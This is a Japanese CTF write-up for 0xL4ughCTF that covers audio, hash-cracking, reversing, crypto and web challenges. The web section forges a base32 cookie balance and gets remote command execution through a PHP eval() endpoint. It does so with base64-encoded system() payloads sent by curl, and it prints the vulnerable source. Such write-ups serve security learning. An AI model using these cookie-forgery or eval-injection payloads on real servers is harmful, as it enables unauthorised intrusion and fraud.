0xL4ughCTF Writeup

この大会は2021/1/14 21:00(JST)~2021/1/16 21:00(JST)に開催されました。
今回もチームで参戦。スコアボードが見当たらなく、スコアも順位もわかりません。
自分で解けた問題をWriteupとして書いておきます。

Sanity check (Misc)

Discordに入ると、#rulesチャネルのトピックにフラグが書いてあった。

0xL4ugh{welc0m3_t0_Our_Firs7_CTF}

Noisy (Misc)

Audacityで開き、スペクトログラムを見る。
f:id:satou-y:20210119224107p:plain

0xL4ugh{Sp3c7r0_1s_Gr347}

Gesture (Misc)

以下のサイトにあるAndroid Pattern Crack Toolを使う。

https://github.com/MGF15/P-Decode/blob/master/P-Decode.py
$ python P-Decode.py -f gesture.key 

        |~)  |~\ _ _ _  _| _
        |~ ~~|_/}_(_(_)(_|}_ v0.5

             [ {41}ndr0id Pa77ern Cr4ck t00l. ]

[*] Pattern SHA1 Hash   : EEFAA4E88EB6BA539EE4AA7BADBF2877BCE7348D

[+] Pattern Length      : 8

[+] Pattern             : 75214863

[+] Pattern SVG         : 75214863.svg

[*] Time                : 1.29 sec
0xL4ugh{75214863}

1990 (Misc)

Audacityで開いてみる。DTMFが入っていると推測できる。http://dialabc.com/sound/detect/でtoneを出力する。

66#666#8#33#888#33#777#999#8#44#444#66#4#666#66#7777#2#6#33#9#2#999#

#区切りでガラケーキーパッドとして文字にしていく。

noteverythingonsameway
0xL4ugh{noteverythingonsameway}

Hashem (Programming)

パスワードの前か後ろにsaltを付けて、ハッシュを取っている。両方のケースでブルートフォースしてパスワードを割り出す。

import string
import itertools
import hashlib

h = 'bd737ce0d884c0dd54adf35fdb794b60'

for len in range(1, 6):
    found = False
    for c in itertools.product(string.lowercase, repeat=len):
        password = ''.join(c)
        text = 'mmal7' + password
        if hashlib.md5(text).hexdigest() == h:
            found = True
            flag = '0xL4ugh{1_%s}' % password
            print flag
            break

    if found:
        break

    for c in itertools.product(string.lowercase, repeat=len):
        password = ''.join(c)
        text = password + 'mmal7'
        if hashlib.md5(text).hexdigest() == h:
            found = True
            flag = '0xL4ugh{2_%s}' % password
            print flag
            break

    if found:
        break
0xL4ugh{1_laugh}

Home (Reverse Engineering)

$ strings a.out | grep 0xL4ugh
0xL4ugh{34SY_R3V_Ch411}
0xL4ugh{34SY_R3V_Ch411}

WannaCry (Reverse Engineering)

Ghidraでデコンパイルする。

void vuln(void)

{
  char local_144 [316];
  
  fgets(local_144,0x138,stdin);
  printf(local_144);
  if (hitme == 100) {
    puts("0xL4ugh{Ourfirsteventenjoy}");
  }
  else {
    printf("target is %d :(\n",hitme);
  }
  return;
}

特定の条件を満たした場合に、以下を出力する。

0xL4ugh{Ourfirsteventenjoy}
0xL4ugh{Ourfirsteventenjoy}

Cakes Shop (Web)

クッキーのUserInfoに以下が設定されている。

GMYDAMBQGA%3D%3D%3D%3D%3D%3D

URLデコードする。

GMYDAMBQGA======
>>> base64.b32decode('GMYDAMBQGA======')
'300000'

この値が所持金と同じ。クッキーのUserInfoに1000000のbase32エンコードの値をセットしてみる。

>>> base64.b32encode('1000000')
'GEYDAMBQGAYA===='

URLエンコードしてこの値をセットする。

GEYDAMBQGAYA%3D%3D%3D%3D

Flag Cakeを購入でき、フラグが表示された。

0xL4ugh{baSe_32_Cook!es_ArE_FuNny}

Sad_Agent (Web)

UserAgentをチェックしているようだ。"sad"にしたときにメッセージが変わった。送信しているurlパラメータをbase64デコードする。

$ echo ZWNobyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107 | base64 -d
echo $_SERVER['HTTP_USER_AGENT'];

これを実行していると思われる。コマンドを送信できるのかもしれない。

$ echo -n "echo a;" | base64
ZWNobyBhOw==
$ curl http://168.61.3.216/sad_agent/ -d 'url=ZWNobyBhOw%3D%3D&submit=chek' -A 'sad'
<center><br>Hi mr sad Do you know i'm lonly<br></center><!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>Sad-Agent</title>
	<style>
		h4 {
			font-size: 50px;
			color: green;
		}
		body {
			background-color: black;
			background-image: url("https://i.pinimg.com/originals/e0/de/19/e0de193eb5d97fd445356228172aced9.jpg");
			background-repeat: no-repeat;
			background-size: 1390px 650px;
		}
		input {
			width: 200px;
			height: 50px;
		}
	</style>
</head>
<body>
	<center>
		<h4><font color="green">a</font></h4>
		<form action="" method="post">
			<input type="hidden" name="url" value="ZWNobyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107">
			<input type="submit" name="submit" value="chek">
		</form>
	</center>
</body>
</html>

実行できている。

$ echo -n "echo system('ls');" | base64
ZWNobyBzeXN0ZW0oJ2xzJyk7
$ curl http://168.61.3.216/sad_agent/ -d 'url=ZWNobyBzeXN0ZW0oJ2xzJyk7&submit=chek' -A 'sad'
<center><br>Hi mr sad Do you know i'm lonly<br></center><!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>Sad-Agent</title>
	<style>
		h4 {
			font-size: 50px;
			color: green;
		}
		body {
			background-color: black;
			background-image: url("https://i.pinimg.com/originals/e0/de/19/e0de193eb5d97fd445356228172aced9.jpg");
			background-repeat: no-repeat;
			background-size: 1390px 650px;
		}
		input {
			width: 200px;
			height: 50px;
		}
	</style>
</head>
<body>
	<center>
		<h4><font color="green">index.php
index.php</font></h4>
		<form action="" method="post">
			<input type="hidden" name="url" value="ZWNobyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107">
			<input type="submit" name="submit" value="chek">
		</form>
	</center>
</body>
</html>

index.phpだけがあることがわかった。

$ echo -n "echo system('cat index.php');" | base64
ZWNobyBzeXN0ZW0oJ2NhdCBpbmRleC5waHAnKTs=
$ curl http://168.61.3.216/sad_agent/ -d 'url=ZWNobyBzeXN0ZW0oJ2NhdCBpbmRleC5waHAnKTs=&submit=chek' -A 'sad'
<center><br>Hi mr sad Do you know i'm lonly<br></center><!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>Sad-Agent</title>
	<style>
		h4 {
			font-size: 50px;
			color: green;
		}
		body {
			background-color: black;
			background-image: url("https://i.pinimg.com/originals/e0/de/19/e0de193eb5d97fd445356228172aced9.jpg");
			background-repeat: no-repeat;
			background-size: 1390px 650px;
		}
		input {
			width: 200px;
			height: 50px;
		}
	</style>
</head>
<body>
	<center>
		<h4><font color="green"><?php

	if (isset($_POST['submit'])) {
		if ($_SERVER['HTTP_USER_AGENT'] === 'sad') {
			echo "<center><br>Hi mr sad Do you know i'm lonly<br></center>";
		} else {
			echo "<center><br><h4>You are not member in sad world you should be sad</h4></center>";
		}
	}

	//$flag = "0xL4ugh{S@dC0d3r_M3mbe3r_1n_0xL4ugh_&_sad_W0rld}"

?>
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>Sad-Agent</title>
	<style>
		h4 {
			font-size: 50px;
			color: green;
		}
		body {
			background-color: black;
			background-image: url("https://i.pinimg.com/originals/e0/de/19/e0de193eb5d97fd445356228172aced9.jpg");
			background-repeat: no-repeat;
			background-size: 1390px 650px;
		}
		input {
			width: 200px;
			height: 50px;
		}
	</style>
</head>
<body>
	<center>
		<h4><font color="green"><?php eval(base64_decode(@$_POST['url'])); ?></font></h4>
		<form action="" method="post">
			<input type="hidden" name="url" value="ZWNobyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107">
			<input type="submit" name="submit" value="chek">
		</form>
	</center>
</body>
</html>
</html></font></h4>
		<form action="" method="post">
			<input type="hidden" name="url" value="ZWNobyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107">
			<input type="submit" name="submit" value="chek">
		</form>
	</center>
</body>
</html>

index.phpのコメントにフラグが入っていた。

0xL4ugh{S@dC0d3r_M3mbe3r_1n_0xL4ugh_&_sad_W0rld}

Me & You! (Crypto)

Internationalキーボードのレイアウトでシフトを押しながら、数字を入力したときの記号と推測し、復号する。さらに,区切りで8進数になっていると推測し、復号する。

enc = '^),!&),!!$,^$,!^%,!$&,!%),!&#,!!#,^#,!&!,!$@,^),!$!,!^@,!$$,!#&,^!,!^#,!#&,!!),^#,!!$,!@),!)^,!@%,^!,^!,!&%'

dic = {'!': '1', '@': '2', '#': '3', '$': '4', '%': '5',
    '^': '6', '&': '7', '*': '8', '(': '9', ')': '0'}

dec = ''
for c in enc:
    if c  != ',':
        dec += dic[c]
    else:
        dec += c

codes = dec.split(',')
msg = ''
for code in codes:
    msg += chr(int(code, 8))
print msg
0xL4ugh{K3yb0ard_1s_H3LPFU11}

Raheem Sterling Ahmed (Crypto)

nをfactordbで素因数分解する。

n = 9353689450544968301 * 9431486459129385713 * 9563871376496945939 * 9734621099746950389 * 9736426554597289187 * 10035211751896066517 * 10040518276351167659 * 10181432127731860643 * 10207091564737615283 * 10435329529687076341 * 10498390163702844413 * 10795203922067072869 * 11172074163972443279 * 11177660664692929397 * 11485099149552071347 * 11616532426455948319 * 11964233629849590781 * 11992188644420662609 * 12084363952563914161 * 12264277362666379411 * 12284357139600907033 * 12726850839407946047 * 13115347801685269351 * 13330028326583914849 * 13447718068162387333 * 13554661643603143669 * 13558122110214876367 * 13579057804448354623 * 13716062103239551021 * 13789440402687036193 * 13856162412093479449 * 13857614679626144761 * 14296909550165083981 * 14302754311314161101 * 14636284106789671351 * 14764546515788021591 * 14893589315557698913 * 15067220807972526163 * 15241351646164982941 * 15407706505172751449 * 15524931816063806341 * 15525253577632484267 * 15549005882626828981 * 15687871802768704433 * 15720375559558820789 * 15734713257994215871 * 15742065469952258753 * 15861836139507191959 * 16136191597900016651 * 16154675571631982029 * 16175693991682950929 * 16418126406213832189 * 16568399117655835211 * 16618761350345493811 * 16663643217910267123 * 16750888032920189263 * 16796967566363355967 * 16842398522466619901 * 17472599467110501143 * 17616950931512191043 * 17825248785173311981 * 18268960885156297373 * 18311624754015021467 * 18415126952549973977

あとはphiを求め、通常通り復号する。

from Crypto.Util.number import *

n = 5028492424316659784848610571868499830635784588253436599431884204425304126574506051458282629520844349077718907065343861952658055912723193332988900049704385076586516440137002407618568563003151764276775720948938528351773075093802636408325577864234115127871390168096496816499360494036227508350983216047669122408034583867561383118909895952974973292619495653073541886055538702432092425858482003930575665792421982301721054750712657799039327522613062264704797422340254020326514065801221180376851065029216809710795296030568379075073865984532498070572310229403940699763425130520414160563102491810814915288755251220179858773367510455580835421154668619370583787024315600566549750956030977653030065606416521363336014610142446739352985652335981500656145027999377047563266566792989553932335258615049158885853966867137798471757467768769820421797075336546511982769835420524203920252434351263053140580327108189404503020910499228438500946012560331269890809392427093030932508389051070445428793625564099729529982492671019322403728879286539821165627370580739998221464217677185178817064155665872550466352067822943073454133105879256544996546945106521271564937390984619840428052621074566596529317714264401833493628083147272364024196348602285804117877
e = 65537 
c = 4690057718147075505522680135959473215321622692923721213835300886402444910436674094980456964526719786485709929645871497583481786451712108343985733309427211434750949557522557087475715799166136616546091244246093209194216096205011115055709130990240778725741521267153888212132276867942685123502211572949952162376597662509054070693025973089923370015547373862589488928782901235791144433788299046705518327561160954291094820233386528023713184029738780555483600166071578613803010858511582163397706626459433456365568227181855121476317779040965290548179086133039864725660837003894485377993939038122515590380127757353399577646033195886942935498851291625325622687406058565345707842924577200871090281931390828399034387159796711570518912284855782049322766568438776035673997640836043767460584670094065481165095303859142188605921710309909549354356478577687136627040919972987279885429990570784611705563443122226291405511409355924588407638851356402686178076614729462505897314633054448103933929160379080620408454649164684464952565103672481604538187885457480005006907884784443460386864548916037417492123123957243478299871616131317172973941585334012558762947082226744473068190488648000780008598569174088053018903156614111943478152720349210983651343

primes = [9353689450544968301, 9431486459129385713, 9563871376496945939, 9734621099746950389, 9736426554597289187, 10035211751896066517, 10040518276351167659, 10181432127731860643, 10207091564737615283, 10435329529687076341, 10498390163702844413, 10795203922067072869, 11172074163972443279, 11177660664692929397, 11485099149552071347, 11616532426455948319, 11964233629849590781, 11992188644420662609, 12084363952563914161, 12264277362666379411, 12284357139600907033, 12726850839407946047, 13115347801685269351, 13330028326583914849, 13447718068162387333, 13554661643603143669, 13558122110214876367, 13579057804448354623, 13716062103239551021, 13789440402687036193, 13856162412093479449, 13857614679626144761, 14296909550165083981, 14302754311314161101, 14636284106789671351, 14764546515788021591, 14893589315557698913, 15067220807972526163, 15241351646164982941, 15407706505172751449, 15524931816063806341, 15525253577632484267, 15549005882626828981, 15687871802768704433, 15720375559558820789, 15734713257994215871, 15742065469952258753, 15861836139507191959, 16136191597900016651, 16154675571631982029, 16175693991682950929, 16418126406213832189, 16568399117655835211, 16618761350345493811, 16663643217910267123, 16750888032920189263, 16796967566363355967, 16842398522466619901, 17472599467110501143, 17616950931512191043, 17825248785173311981, 18268960885156297373, 18311624754015021467, 18415126952549973977]

phi = 1
for p in primes:
    phi *= p - 1

d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
0xL4ugh{Multi_prime_RSA_is_normal_RSA_but_on_steroids}

Cyclops (Crypto)

点字をデコードする。

0xL4ugh{I_Th1nk_Br1ll3_W45_$m4rt}